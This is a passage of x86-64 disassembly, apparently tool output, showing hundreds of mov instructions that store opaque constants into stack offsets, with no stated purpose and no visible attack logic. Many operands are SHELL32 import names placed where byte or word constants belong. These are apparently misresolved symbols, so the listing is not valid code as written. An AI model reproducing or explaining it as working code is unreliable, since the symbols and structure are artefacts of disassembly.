mov byte [rsp + 0x1f0], 0xfb
mov dword [rsp + 0x672c], 0x704a
movabs rax, 0x76b929f508cba0
mov qword [rsp + 0xcb00], rax
movabs rax, 0x7bc55b718b41ce
mov qword [rsp + 0xcb08], rax
mov dword [rsp + 0x6730], 0xe921
mov byte [rsp + 0x1f1], PathYetAnotherMakeUniqueName
mov dword [rsp + 0x6734], 0x8bbb
mov eax, 0x27
mov word [rsp + 0x16c4], ax
movabs rax, 0x70b469e32ffdfd
mov qword [rsp + 0xcb10], rax
mov eax, 0xc5a
mov word [rsp + 0x16c8], ax
movabs rax, 0x732ff6486d1df6
mov qword [rsp + 0xcb18], rax
mov eax, SHGetNewLinkInfoW
mov word [rsp + 0x16cc], ax
mov byte [rsp + 0x1f2], 0x7f
mov eax, 0x564
mov word [rsp + 0x16d0], ax
movabs rax, 0x7beb93bef5b56b
mov qword [rsp + 0xcb20], rax
mov dword [rsp + 0x6738], 0x76a4
movabs rax, 0x7483b5d8113ee1
mov qword [rsp + 0xcb28], rax
mov byte [rsp + 0x1f3], 0x6b
mov dword [rsp + 0x673c], 0x7ec7
movabs rax, 0x7917257af22bd3
mov qword [rsp + 0xcb30], rax
movabs rax, 0x75d211bfb69328
mov qword [rsp + 0xcb38], rax
mov eax, 0x1fe
mov word [rsp + 0x16d4], ax
mov eax, 0x495
mov word [rsp + 0x16d8], ax
mov eax, 0x3e8
mov word [rsp + 0x16dc], ax
movabs rax, 0x7cc967022afe42
mov qword [rsp + 0xcb40], rax
mov eax, 0x489
mov word [rsp + 0x16e0], ax
mov dword [rsp + 0x6740], 0x44db
mov dword [rsp + 0x6744], 0x17d9
movabs rax, 0x71922eb03667f8
mov qword [rsp + 0xcb48], rax
mov dword [rsp + 0x6748], 0xa2f1
mov eax, 0x5d7
mov word [rsp + 0x16e4], ax
mov eax, 0xf8f
mov word [rsp + 0x16e8], ax
mov dword [rsp + 0x674c], 0x7ea7
movabs rax, 0x71cd692f0db72a
mov qword [rsp + 0xcb50], rax
mov eax, 0x1db
mov word [rsp + 0x16ec], ax
mov byte [rsp + 0x1f4], 0x76
mov eax, 0x5ca
mov word [rsp + 0x16f0], ax
movabs rax, 0x704e4bdff537f8
mov qword [rsp + 0xcb58], rax
mov dword [rsp + 0x6750], 0xc327
mov eax, 0x1cf
mov word [rsp + 0x16f4], ax
movabs rax, 0x77ca31bfa50a2d
mov qword [rsp + 0xcb60], rax
mov eax, ILFree
mov word [rsp + 0x16f8], ax
mov byte [rsp + 0x1f5], ILCreateFromPathW
movabs rax, 0x7757662ef566c7
mov qword [rsp + 0xcb68], rax
mov byte [rsp + 0x1f6], ILFree
movabs rax, 0x74ebc6eb9c163f
mov qword [rsp + 0xcb70], rax
mov dword [rsp + 0x6754], 0x9cdf
movabs rax, 0x7bfa39ae464436
mov qword [rsp + 0xcb78], rax
mov eax, 0x4b8
mov word [rsp + 0x16fc], ax
mov dword [rsp + 0x6758], 0x2ef9
movabs rax, 0x7def5615948ca3
mov qword [rsp + 0xcb80], rax
mov eax, 0x66d
mov word [rsp + 0x1700], ax
movabs rax, 0x76c9455ed91423
mov qword [rsp + 0xcb88], rax
mov eax, 0x1fa
mov word [rsp + 0x1704], ax
mov eax, 0x6d5
mov word [rsp + 0x1708], ax
mov eax, SHChangeNotification_Unlock
mov word [rsp + 0x170c], ax
mov byte [rsp + 0x1f7], 0x6c
mov dword [rsp + 0x675c], 0x2ac8
movabs rax, 0x7e4c423a48c8bc
mov qword [rsp + 0xcb90], rax
mov eax, 0x124
mov word [rsp + 0x1710], ax
mov byte [rsp + 0x1f8], reloc.SHELL32.dll_ILClone
mov byte [rsp + 0x1f9], 0x85
mov eax, 0x46
mov word [rsp + 0x1714], ax
mov byte [rsp + 0x1fa], 0x50
mov eax, 0x7a6
mov word [rsp + 0x1718], ax
movabs rax, 0x7dba4f7ec377a7
mov qword [rsp + 0xcb98], rax
mov eax, 0x547
mov word [rsp + 0x171c], ax
movabs rax, 0x7d1021b75d1e0e
mov qword [rsp + 0xcba0], rax
movabs rax, 0x72823e4fb1c00c
mov qword [rsp + 0xcba8], rax
mov dword [rsp + 0x6760], 0xc04c
movabs rax, 0x7427284d875e12
mov qword [rsp + 0xcbb0], rax
mov byte [rsp + 0x1fb], reloc.SHELL32.dll_ILFindChild
mov dword [rsp + 0x6764], 0x16ab
mov dword [rsp + 0x6768], 0x69e4
mov eax, 0xc33
mov word [rsp + 0x1720], ax
mov dword [rsp + 0x676c], 0xd33a
movabs rax, 0x713982d9ce4bf4
mov qword [rsp + 0xcbb8], rax
mov byte [rsp + 0x1fc], 0xe3
mov byte [rsp + 0x1fd], reloc.SHELL32.dll_ILFindLastID
movabs rax, 0x7937f9833bee84
mov qword [rsp + 0xcbc0], rax
movabs rax, 0x7738a310f99ca6
mov qword [rsp + 0xcbc8], rax
mov eax, 0x7e0
mov word [rsp + 0x1724], ax
mov byte [rsp + 0x1fe], 0xf9
movabs rax, 0x74918e6c7792de
mov qword [rsp + 0xcbd0], rax
movabs rax, 0x73e7e7ce616a88
mov qword [rsp + 0xcbd8], rax
mov byte [rsp + 0x1ff], 0x7c
movabs rax, 0x72e1fa92742c3a
mov qword [rsp + 0xcbe0], rax
movabs rax, 0x7b269952f18629
mov qword [rsp + 0xcbe8], rax
movabs rax, 0x79d132996247b2
mov qword [rsp + 0xcbf0], rax
movabs rax, 0x73ef18689acdaf
mov qword [rsp + 0xcbf8], rax
mov eax, 0x60e
mov word [rsp + 0x1728], ax
mov dword [rsp + 0x6770], 0x7bf1
mov eax, 0x3db
mov word [rsp + 0x172c], ax
movabs rax, 0x7921a6206b4f3f
mov qword [rsp + 0xcc00], rax
mov dword [rsp + 0x6774], 0xd699
movabs rax, 0x75da5f5be411ed
mov qword [rsp + 0xcc08], rax
movabs rax, 0x7a86383588b1a9
mov qword [rsp + 0xcc10], rax
movabs rax, 0x7e9f4e6eab7e92
mov qword [rsp + 0xcc18], rax
mov eax, 0xb4e
mov word [rsp + 0x1730], ax
mov eax, 0xeea
mov word [rsp + 0x1734], ax
movabs rax, 0x726daaff773026
mov qword [rsp + 0xcc20], rax
mov dword [rsp + 0x6778], 0x3104
mov eax, 0xf9
mov word [rsp + 0x1738], ax
mov eax, 0xbb9
mov word [rsp + 0x173c], ax
mov dword [rsp + 0x677c], 0xa866
mov dword [rsp + 0x6780], 0x66b5
movabs rax, 0x758c0340c41b64
mov qword [rsp + 0xcc28], rax
mov dword [rsp + 0x6784], 0x9720
movabs rax, 0x7ecfb547936525
mov qword [rsp + 0xcc30], rax
mov byte [rsp + 0x200], 0xa0
movabs rax, 0x75c7971e95db3f
mov qword [rsp + 0xcc38], rax
movabs rax, 0x783552b12fcc85
mov qword [rsp + 0xcc40], rax
mov dword [rsp + 0x6788], 0x1205
movabs rax, 0x71b02324190829
mov qword [rsp + 0xcc48], rax
movabs rax, 0x78264e1dcce6e7
mov qword [rsp + 0xcc50], rax
mov eax, 0x2f0
mov word [rsp + 0x1740], ax
mov byte [rsp + 0x201], 0x8e
movabs rax, 0x76bdd3ed475e0d
mov qword [rsp + 0xcc58], rax
movabs rax, 0x7af29882b56d61
mov qword [rsp + 0xcc60], rax
movabs rax, 0x7c4ed185b19022
mov qword [rsp + 0xcc68], rax
mov dword [rsp + 0x678c], 0x2778
mov eax, 0x417
mov word [rsp + 0x1744], ax
movabs rax, 0x73b6d346cd4845
mov qword [rsp + 0xcc70], rax
mov eax, 0x404
mov word [rsp + 0x1748], ax
mov byte [rsp + 0x202], 0xf8
mov byte [rsp + 0x203], 0x32
movabs rax, 0x71a82a5bc0d443
mov qword [rsp + 0xcc78], rax
mov dword [rsp + 0x6790], 0x1781
movabs rax, 0x7d97a9873948aa
mov qword [rsp + 0xcc80], rax
mov dword [rsp + 0x6794], 0xd188
movabs rax, 0x7ed4ec702900e7
mov qword [rsp + 0xcc88], rax
mov dword [rsp + 0x6798], 0x631a
movabs rax, 0x7ed177b8c18a88
mov qword [rsp + 0xcc90], rax
movabs rax, 0x74eff0db0ff9cc
mov qword [rsp + 0xcc98], rax
mov dword [rsp + 0x679c], 0x4d5
mov dword [rsp + 0x67a0], 0x5184
mov dword [rsp + 0x67a4], 0xd5ea
movabs rax, 0x72b1c693e60eeb
mov qword [rsp + 0xcca0], rax
movabs rax, 0x742eaf987e622f
mov qword [rsp + 0xcca8], rax
mov dword [rsp + 0x67a8], 0x69fa
mov eax, 0x137
mov word [rsp + 0x174c], ax
mov byte [rsp + 0x204], 0xa3
movabs rax, 0x7243948bd2d438
mov qword [rsp + 0xccb0], rax
mov eax, 0x8ad
mov word [rsp + 0x1750], ax
movabs rax, 0x7cf6c7213d98e8
mov qword [rsp + 0xccb8], rax
mov eax, 0x590
mov word [rsp + 0x1754], ax
mov byte [rsp + 0x205], 0x29
mov dword [rsp + 0x67ac], 0xfc08
mov dword [rsp + 0x67b0], 0xc6cc
movabs rax, 0x79e01c2db8457a
mov qword [rsp + 0xccc0], rax
mov byte [rsp + 0x206], 0xef
mov byte [rsp + 0x207], 0x2d
mov eax, 0xc95
mov word [rsp + 0x1758], ax
mov byte [rsp + 0x208], reloc.SHELL32.dll_ILCloneFirst
movabs rax, 0x75066d3823efbf
mov qword [rsp + 0xccc8], rax
mov byte [rsp + 0x209], 0x26
movabs rax, 0x769ff7ec83d947
mov qword [rsp + 0xccd0], rax
mov byte [rsp + 0x20a], 0x32
movabs rax, 0x7d1dc89c2f6a22
mov qword [rsp + 0xccd8], rax
mov dword [rsp + 0x67b4], 0x7ac5
movabs rax, 0x7a91428c0b36a3
mov qword [rsp + 0xcce0], rax
mov eax, 0x8a
mov word [rsp + 0x175c], ax
mov eax, 0x47c
mov word [rsp + 0x1760], ax
movabs rax, 0x74ecbadbb38865
mov qword [rsp + 0xcce8], rax
mov eax, 0x3a6
mov word [rsp + 0x1764], ax
mov dword [rsp + 0x67b8], 0x3ffd
mov byte [rsp + 0x20b], 0xa2
movabs rax, 0x71a27c82bbf033
mov qword [rsp + 0xccf0], rax
mov eax, 0xade
mov word [rsp + 0x1768], ax
movabs rax, 0x7a42e34d857b61
mov qword [rsp + 0xccf8], rax
movabs rax, 0x7b0fdebab3e355
mov qword [rsp + 0xcd00], rax
mov eax, 0x14f
mov word [rsp + 0x176c], ax
mov eax, 0xd5
mov word [rsp + 0x1770], ax
mov dword [rsp + 0x67bc], 0xa6c
mov dword [rsp + 0x67c0], 0x9ae4
mov eax, 0x393
mov word [rsp + 0x1774], ax
mov byte [rsp + 0x20c], 6
mov eax, 0x3b7
mov word [rsp + 0x1778], ax
mov dword [rsp + 0x67c4], 0x804
movabs rax, 0x746099c60b5387
mov qword [rsp + 0xcd08], rax
mov byte [rsp + 0x20d], SHSetInstanceExplorer
mov byte [rsp + 0x20e], 0x7f
mov dword [rsp + 0x67c8], 0x2f23
movabs rax, 0x722a6ea3d9eede
mov qword [rsp + 0xcd10], rax
mov dword [rsp + 0x67cc], 0xae0
movabs rax, 0x7e0b49febe29c9
mov qword [rsp + 0xcd18], rax
movabs rax, 0x743309c4c4db03
mov qword [rsp + 0xcd20], rax
mov eax, 0x56a
mov word [rsp + 0x177c], ax
movabs rax, 0x7224cffbe6ae91
mov qword [rsp + 0xcd28], rax
movabs rax, 0x709699336fa68e
mov qword [rsp + 0xcd30], rax
movabs rax, 0x7a1318199ccbd3
mov qword [rsp + 0xcd38], rax
mov eax, 0x314
mov word [rsp + 0x1780], ax
mov byte [rsp + 0x20f], ILFree
movabs rax, 0x709ddb4dae3cca
mov qword [rsp + 0xcd40], rax
mov byte [rsp + 0x210], 0x8d
mov eax, 0x2b0
mov word [rsp + 0x1784], ax
movabs rax, 0x7e4b44e81a79c7
mov qword [rsp + 0xcd48], rax
movabs rax, 0x702d267a551ae0
mov qword [rsp + 0xcd50], rax
mov byte [rsp + 0x211], 0x2f
mov byte [rsp + 0x212], 0xe3
mov eax, 0x461
mov word [rsp + 0x1788], ax
mov eax, 0x2b1
mov word [rsp + 0x178c], ax
mov byte [rsp + 0x213], 0x5f
mov dword [rsp + 0x67d0], 0xe457
mov dword [rsp + 0x67d4], 0x1fc8
movabs rax, 0x72ad44223ac9ff
mov qword [rsp + 0xcd58], rax
mov dword [rsp + 0x67d8], 0xf25
mov eax, 0x68
mov word [rsp + 0x1790], ax
mov eax, 0x493
mov word [rsp + 0x1794], ax
mov dword [rsp + 0x67dc], 0x73a6
mov dword [rsp + 0x67e0], 0x532f
mov eax, 0x849
mov word [rsp + 0x1798], ax
mov dword [rsp + 0x67e4], 0xa535
movabs rax, 0x785cafb02876fc
mov qword [rsp + 0xcd60], rax
movabs rax, 0x790632f8273b78
mov qword [rsp + 0xcd68], rax
mov byte [rsp + 0x214], 0x60
mov byte [rsp + 0x215], 0x5f
movabs rax, 0x7566668ec808c0
mov qword [rsp + 0xcd70], rax
mov dword [rsp + 0x67e8], 0xe0cc
mov eax, 0x708
mov word [rsp + 0x179c], ax
mov eax, 0x591
mov word [rsp + 0x17a0], ax
mov dword [rsp + 0x67ec], 0x531c
mov eax, 0x9c
mov word [rsp + 0x17a4], ax
mov byte [rsp + 0x216], 0x24
mov byte [rsp + 0x217], 0x5f
mov byte [rsp + 0x218], 0x7a
mov eax, 0xf51
mov word [rsp + 0x17a8], ax
mov eax, 0x1e2
mov word [rsp + 0x17ac], ax
mov eax, 0xa8
mov word [rsp + 0x17b0], ax
mov eax, 0x4cb
mov word [rsp + 0x17b4], ax
movabs rax, 0x73e18aa567feeb
mov qword [rsp + 0xcd78], rax
mov eax, 0xcc8
mov word [rsp + 0x17b8], ax
mov eax, 0x1af
mov word [rsp + 0x17bc], ax
mov eax, 0x77
mov word [rsp + 0x17c0], ax
mov dword [rsp + 0x67f0], 0xf210
mov dword [rsp + 0x67f4], 0x1779
mov byte [rsp + 0x219], 0x43
movabs rax, 0x741411b4f5bb5a
mov qword [rsp + 0xcd80], rax
movabs rax, 0x7492f4de9ed068
mov qword [rsp + 0xcd88], rax
movabs rax, 0x7a26698b123ad1
mov qword [rsp + 0xcd90], rax
mov eax, 0x7a4
mov word [rsp + 0x17c4], ax
movabs rax, 0x7b5c02006877be
mov qword [rsp + 0xcd98], rax
movabs rax, 0x7ae549420388e5
mov qword [rsp + 0xcda0], rax
mov eax, 0x1b1
mov word [rsp + 0x17c8], ax
mov dword [rsp + 0x67f8], 0x1c67
mov dword [rsp + 0x67fc], 0x7e96
mov eax, 0x62b
mov word [rsp + 0x17cc], ax
mov dword [rsp + 0x6800], 0x4051
mov eax, 0x55a
mov word [rsp + 0x17d0], ax
mov byte [rsp + 0x21a], 0xc4
movabs rax, 0x70a61c5a9e0cdf
mov qword [rsp + 0xcda8], rax
movabs rax, 0x7a97f21894ae3d
mov qword [rsp + 0xcdb0], rax
mov byte [rsp + 0x21b], 0x7b
mov eax, 0x4ce
mov word [rsp + 0x17d4], ax
movabs rax, 0x7a8084c50eb82b
mov qword [rsp + 0xcdb8], rax
mov eax, 0xac4
mov word [rsp + 0x17d8], ax
mov dword [rsp + 0x6804], 0x1593
mov eax, 0x6f2
mov word [rsp + 0x17dc], ax
mov byte [rsp + 0x21c], 0xc5
mov byte [rsp + 0x21d], reloc.SHELL32.dll_ILRemoveLastID
mov byte [rsp + 0x21e], 0x43
mov dword [rsp + 0x6808], 0x3c70
mov byte [rsp + 0x21f], 0x67
mov eax, 0x149
mov word [rsp + 0x17e0], ax
mov dword [rsp + 0x680c], 0x7b1b
mov eax, 0x48c
mov word [rsp + 0x17e4], ax
mov byte [rsp + 0x220], PathYetAnotherMakeUniqueName
mov eax, 0x775
mov word [rsp + 0x17e8], ax
movabs rax, 0x75a6799d8877af
mov qword [rsp + 0xcdc0], rax
movabs rax, 0x7e1f17d9287ef7
mov qword [rsp + 0xcdc8], rax
movabs rax, 0x781119f880ddb3
mov qword [rsp + 0xcdd0], rax
movabs rax, 0x73fc3486999216
mov qword [rsp + 0xcdd8], rax
movabs rax, 0x7619e0166b6281
mov qword [rsp + 0xcde0], rax
mov byte [rsp + 0x221], 9
movabs rax, 0x7ddd4403475ff6
mov qword [rsp + 0xcde8], rax
mov byte [rsp + 0x222], reloc.SHELL32.dll_SHDoDragDrop
mov dword [rsp + 0x6810], 0x140d
mov dword [rsp + 0x6814], 0x2891
mov dword [rsp + 0x6818], 0x8445
mov dword [rsp + 0x681c], 0x6450
mov dword [rsp + 0x6820], 0x4035
mov byte [rsp + 0x223], 0x2a
movabs rax, 0x789070624445ec
mov qword [rsp + 0xcdf0], rax
movabs rax, 0x7a76ee15b8d902
mov qword [rsp + 0xcdf8], rax
movabs rax, 0x7b0b2663348fdd
mov qword [rsp + 0xce00], rax
mov dword [rsp + 0x6824], 0x7193
mov eax, 0x558
mov word [rsp + 0x17ec], ax
mov dword [rsp + 0x6828], 0x17a9
mov eax, 0xde2
mov word [rsp + 0x17f0], ax
mov eax, 0x312
mov word [rsp + 0x17f4], ax
mov byte [rsp + 0x224], 0x4d
movabs rax, 0x73d4d549bea8de
mov qword [rsp + 0xce08], rax
mov eax, 0x4da
mov word [rsp + 0x17f8], ax
movabs rax, 0x7825677e6cb618
mov qword [rsp + 0xce10], rax
mov dword [rsp + 0x682c], 0x6b17
movabs rax, 0x757acdf5f7907a
mov qword [rsp + 0xce18], rax
mov dword [rsp + 0x6830], 0x1f40
mov dword [rsp + 0x6834], 0x4294
mov eax, 0x1d9
mov word [rsp + 0x17fc], ax
mov dword [rsp + 0x6838], 0x777f
movabs rax, 0x726585adc4c5dd
mov qword [rsp + 0xce20], rax
movabs rax, 0x750050200b7079
mov qword [rsp + 0xce28], rax
mov byte [rsp + 0x225], SHSetInstanceExplorer
movabs rax, 0x7495482c3e503f
mov qword [rsp + 0xce30], rax
movabs rax, 0x7774663bcf569a
mov qword [rsp + 0xce38], rax
mov eax, 0x4cd
mov word [rsp + 0x1800], ax
movabs rax, 0x7cf0051ec31022
mov qword [rsp + 0xce40], rax
mov eax, 0x329
mov word [rsp + 0x1804], ax
movabs rax, 0x7aba9407c6ebdf
mov qword [rsp + 0xce48], rax
movabs rax, 0x7050f47a62290b
mov qword [rsp + 0xce50], rax
movabs rax, 0x72c93cadbf2b00
mov qword [rsp + 0xce58], rax
mov dword [rsp + 0x683c], 0xbc92
movabs rax, 0x789b01065879d7
mov qword [rsp + 0xce60], rax
mov byte [rsp + 0x226], 0x62
movabs rax, 0x73695744b1b56f
mov qword [rsp + 0xce68], rax
movabs rax, 0x705792b8a0c47c
mov qword [rsp + 0xce70], rax
mov byte [rsp + 0x227], 0x70
mov byte [rsp + 0x228], 0x74
movabs rax, 0x7a0bdbd736802a
mov qword [rsp + 0xce78], rax
mov byte [rsp + 0x229], 0x24
mov dword [rsp + 0x6840], 0x19a2
mov byte [rsp + 0x22a], 0xd8
mov dword [rsp + 0x6844], 0x3a17
mov byte [rsp + 0x22b], 0x50
movabs rax, 0x74292802d37624
mov qword [rsp + 0xce80], rax
movabs rax, 0x73ea84fafefa4b
mov qword [rsp + 0xce88], rax
mov eax, 0x4b9
mov word [rsp + 0x1808], ax
movabs rax, 0x7ddb0927562ac9
mov qword [rsp + 0xce90], rax
mov eax, 0xc36
mov word [rsp + 0x180c], ax
movabs rax, 0x73db8fdea46246
mov qword [rsp + 0xce98], rax
mov dword [rsp + 0x6848], 0xb94a
movabs rax, 0x71d965567ec583
mov qword [rsp + 0xcea0], rax
mov byte [rsp + 0x22c], SHDoDragDrop
mov eax, 0x38d
mov word [rsp + 0x1810], ax
movabs rax, 0x74540d39525f6a
mov qword [rsp + 0xcea8], rax
mov eax, 0x45
mov word [rsp + 0x1814], ax
movabs rax, 0x7122024dae0ce2
mov qword [rsp + 0xceb0], rax
movabs rax, 0x7ea720b99b44f2
mov qword [rsp + 0xceb8], rax
mov byte [rsp + 0x22d], 0x6c
movabs rax, 0x7440b060e70775
mov qword [rsp + 0xcec0], rax
movabs rax, 0x7af6b0c4534a88
mov qword [rsp + 0xcec8], rax
movabs rax, 0x78b19639052590
mov qword [rsp + 0xced0], rax
mov eax, 0x470
mov word [rsp + 0x1818], ax
movabs rax, 0x75ec8706df2469
mov qword [rsp + 0xced8], rax
movabs rax, 0x7658bcac7e270e
mov qword [rsp + 0xcee0], rax
mov byte [rsp + 0x22e], ILSaveToStream
mov dword [rsp + 0x684c], 0x4ee8
movabs rax, 0x7a606888cfa3ed
mov qword [rsp + 0xcee8], rax
movabs rax, 0x75fdeab598b8a3
mov qword [rsp + 0xcef0], rax
movabs rax, 0x795b78341c23d3
mov qword [rsp + 0xcef8], rax
mov byte [rsp + 0x22f], 0xdb
movabs rax, 0x705dccc3a4116d
mov qword [rsp + 0xcf00], rax
mov byte [rsp + 0x230], SHSetInstanceExplorer
mov eax, 0xf69
mov word [rsp + 0x181c], ax
mov dword [rsp + 0x6850], 0x1f7
mov dword [rsp + 0x6854], 0x5cbf
movabs rax, 0x7d0041398ce04f
mov qword [rsp + 0xcf08], rax
movabs rax, 0x7ced5c17f6f7ce
mov qword [rsp + 0xcf10], rax
mov dword [rsp + 0x6858], 0x146c
mov eax, 0x5d4
mov word [rsp + 0x1820], ax
mov eax, 0x513
mov word [rsp + 0x1824], ax
mov byte [rsp + 0x231], 0x84
mov byte [rsp + 0x232], 0x4d
mov eax, 0xa82
mov word [rsp + 0x1828], ax
mov byte [rsp + 0x233], ILCreateFromPathW
movabs rax, 0x7721f14f2a9b46
mov qword [rsp + 0xcf18], rax
movabs rax, 0x78e7b550baac33
mov qword [rsp + 0xcf20], rax
mov dword [rsp + 0x685c], 0x5349
movabs rax, 0x741bd95a4678d1
mov qword [rsp + 0xcf28], rax
mov eax, 0xd24
mov word [rsp + 0x182c], ax
mov dword [rsp + 0x6860], 0x362a
movabs rax, 0x7d7e7160f947ce
mov qword [rsp + 0xcf30], rax
mov eax, 0x7ae
mov word [rsp + 0x1830], ax
mov dword [rsp + 0x6864], 0x8163
mov eax, 0x310
mov word [rsp + 0x1834], ax
movabs rax, 0x7cce0024d7ab5f
mov qword [rsp + 0xcf38], rax
mov byte [rsp + 0x234], 0x20
mov dword [rsp + 0x6868], 0x3207
mov dword [rsp + 0x686c], 0x682d
movabs rax, 0x7cbdd80167e339
mov qword [rsp + 0xcf40], rax
movabs rax, 0x7b682bf57041ae
mov qword [rsp + 0xcf48], rax
mov dword [rsp + 0x6870], 0x2cbe
mov dword [rsp + 0x6874], 0x7e02
movabs rax, 0x7552651900e02f
mov qword [rsp + 0xcf50], rax
movabs rax, 0x75458b96569a06
mov qword [rsp + 0xcf58], rax
mov eax, reloc.SHELL32.dll_SHDoDragDrop
mov word [rsp + 0x1838], ax
mov eax, 0x542
mov word [rsp + 0x183c], ax
mov byte [rsp + 0x235], 0x6c
movabs rax, 0x70ee0f81dbc543
mov qword [rsp + 0xcf60], rax
mov byte [rsp + 0x236], ILCloneFirst
mov byte [rsp + 0x237], 0xd0
mov dword [rsp + 0x6878], 0xe8c8
mov eax, 0x530
mov word [rsp + 0x1840], ax
movabs rax, 0x7049588b632e03
mov qword [rsp + 0xcf68], rax
movabs rax, 0x7acdeb49fdb9e9
mov qword [rsp + 0xcf70], rax
mov byte [rsp + 0x238], 0xce
mov eax, 0x66
mov word [rsp + 0x1844], ax
movabs rax, 0x72a0a3c5ec0939
mov qword [rsp + 0xcf78], rax
mov eax, 0xe67
mov word [rsp + 0x1848], ax
mov dword [rsp + 0x687c], 0x596
mov eax, 0x7cb
mov word [rsp + 0x184c], ax
mov dword [rsp + 0x6880], 0xbb7c
movabs rax, 0x7140c42b71b64a
mov qword [rsp + 0xcf80], rax
movabs rax, 0x78d1bd97492601
mov qword [rsp + 0xcf88], rax
movabs rax, 0x7c8907b8be6182
mov qword [rsp + 0xcf90], rax
movabs rax, 0x70265e37492387
mov qword [rsp + 0xcf98], rax
mov eax, 0x300
mov word [rsp + 0x1850], ax
mov dword [rsp + 0x6884], 0x21f5
mov dword [rsp + 0x6888], 0x597c
mov eax, 0x876
mov word [rsp + 0x1854], ax
mov dword [rsp + 0x688c], 0x1bf2
mov byte [rsp + 0x239], 0x27
movabs rax, 0x744cf81cd17d5c
mov qword [rsp + 0xcfa0], rax
mov eax, 2
mov word [rsp + 0x1858], ax
mov dword [rsp + 0x6890], 0xa0ba
movabs rax, 0x72ece7af989864
mov qword [rsp + 0xcfa8], rax
mov dword [rsp + 0x6894], 0x3dff
mov eax, 0x1e1
mov word [rsp + 0x185c], ax
mov dword [rsp + 0x6898], 0x7cd
movabs rax, 0x74c18fa7d57481
mov qword [rsp + 0xcfb0], rax
mov eax, 0x7d4
mov word [rsp + 0x1860], ax
mov byte [rsp + 0x23a], reloc.SHELL32.dll_ILClone
mov dword [rsp + 0x689c], 0x47d8
mov dword [rsp + 0x68a0], 0x679b
mov dword [rsp + 0x68a4], 0xc2b
mov eax, 0x855
mov word [rsp + 0x1864], ax
mov dword [rsp + 0x68a8], 0x59cd
mov byte [rsp + 0x23b], 0x5b
mov eax, 0x358
mov word [rsp + 0x1868], ax
movabs rax, 0x7164c9e3a2ec5a
mov qword [rsp + 0xcfb8], rax
movabs rax, 0x7e1c476d19d3f5
mov qword [rsp + 0xcfc0], rax
mov dword [rsp + 0x68ac], 0x5faa
mov eax, 0x70f
mov word [rsp + 0x186c], ax
movabs rax, 0x7a0cb4d0b3dade
mov qword [rsp + 0xcfc8], rax
movabs rax, 0x7524e7a2c81197
mov qword [rsp + 0xcfd0], rax
mov eax, 0x32c
mov word [rsp + 0x1870], ax
mov eax, 0xfe
mov word [rsp + 0x1874], ax
mov dword [rsp + 0x68b0], 0x713b
movabs rax, 0x74a3cfc3e11efc
mov qword [rsp + 0xcfd8], rax
mov byte [rsp + 0x23c], 0x91
mov byte [rsp + 0x23d], 0x35
mov byte [rsp + 0x23e], 0x92
movabs rax, 0x7854f4d667ac3a
mov qword [rsp + 0xcfe0], rax
movabs rax, 0x705b7baedfe657
mov qword [rsp + 0xcfe8], rax
mov byte [rsp + 0x23f], reloc.SHELL32.dll_PathYetAnotherMakeUniqueName
movabs rax, 0x7c8f7bf5164452
mov qword [rsp + 0xcff0], rax
mov dword [rsp + 0x68b4], 0x14d0
movabs rax, 0x7e3cd3a3de4270
mov qword [rsp + 0xcff8], rax
mov dword [rsp + 0x68b8], 0x59b1
mov eax, 0x516
mov word [rsp + 0x1878], ax
movabs rax, 0x78eeb76d950ea7
mov qword [rsp + 0xd000], rax
mov eax, 0xe83
mov word [rsp + 0x187c], ax
mov eax, 0x44e
mov word [rsp + 0x1880], ax
mov byte [rsp + 0x240], 0x74
movabs rax, 0x72ab5a7c1de330
mov qword [rsp + 0xd008], rax
movabs rax, 0x7e88ebe840ecd3
mov qword [rsp + 0xd010], rax
movabs rax, 0x7e49e7535ff237
mov qword [rsp + 0xd018], rax
mov byte [rsp + 0x241], 0x66
mov byte [rsp + 0x242], SHSetInstanceExplorer
mov byte [rsp + 0x243], 0x80
mov eax, 0x152
mov word [rsp + 0x1884], ax
mov byte [rsp + 0x244], SHGetNewLinkInfoW
mov eax, 0x599
mov word [rsp + 0x1888], ax
mov eax, 0x2a3
mov word [rsp + 0x188c], ax
mov eax, 0x475
mov word [rsp + 0x1890], ax
mov dword [rsp + 0x68bc], 0x4e32
mov byte [rsp + 0x245], 0xfc
mov dword [rsp + 0x68c0], 0x20a0
mov eax, 0x122
mov word [rsp + 0x1894], ax
mov byte [rsp + 0x246], 0xe7
mov byte [rsp + 0x247], 0xa4
mov dword [rsp + 0x68c4], 0x7916
mov eax, 0x141
mov word [rsp + 0x1898], ax
mov eax, 0xe21
mov word [rsp + 0x189c], ax
mov dword [rsp + 0x68c8], 0x9ad4
mov eax, 0x50f
mov word [rsp + 0x18a0], ax
movabs rax, 0x7ef9e3d4056114
mov qword [rsp + 0xd020], rax
mov eax, 0xde
mov word [rsp + 0x18a4], ax
mov eax, 0x91e
mov word [rsp + 0x18a8], ax
mov eax, 0x1df
mov word [rsp + 0x18ac], ax
movabs rax, 0x77ddae03b5b66d
mov qword [rsp + 0xd028], rax
mov eax, 0x7b8
mov word [rsp + 0x18b0], ax
movabs rax, 0x741a7e284efdf4
mov qword [rsp + 0xd030], rax
mov eax, 0x4c7
mov word [rsp + 0x18b4], ax
mov eax, 0x569
mov word [rsp + 0x18b8], ax
mov dword [rsp + 0x68cc], 0x6c3a
mov byte [rsp + 0x248], PathYetAnotherMakeUniqueName
mov eax, SHGetImageList
mov word [rsp + 0x18bc], ax
mov eax, 0x638
mov word [rsp + 0x18c0], ax
movabs rax, 0x73bfc55810c5f1
mov qword [rsp + 0xd038], rax
mov eax, 0xcb
mov word [rsp + 0x18c4], ax
mov eax, 0x994
mov word [rsp + 0x18c8], ax
movabs rax, 0x719ae1a47518fd
mov qword [rsp + 0xd040], rax
movabs rax, 0x779cbbf3cd0163
mov qword [rsp + 0xd048], rax
movabs rax, 0x7034b6d5a1d209
mov qword [rsp + 0xd050], rax
mov eax, 0xbf
mov word [rsp + 0x18cc], ax
movabs rax, 0x7149d072698602
mov qword [rsp + 0xd058], rax
mov byte [rsp + 0x249], 0x65
mov dword [rsp + 0x68d0], 0x3e1a
mov dword [rsp + 0x68d4], 0xd26
movabs rax, 0x7785b9e2c1476e
mov qword [rsp + 0xd060], rax
mov eax, 0xd06
mov word [rsp + 0x18d0], ax
mov eax, 0x1d3
mov word [rsp + 0x18d4], ax
mov eax, 0xd80
mov word [rsp + 0x18d8], ax
mov eax, 0x40c
mov word [rsp + 0x18dc], ax
mov byte [rsp + 0x24a], 0xec
mov byte [rsp + 0x24b], 0x32
mov byte [rsp + 0x24c], 0x66
mov dword [rsp + 0x68d8], 0xe301
mov eax, 0x1b9
mov word [rsp + 0x18e0], ax
mov byte [rsp + 0x24d], 0x40
movabs rax, 0x79620cecf640d4
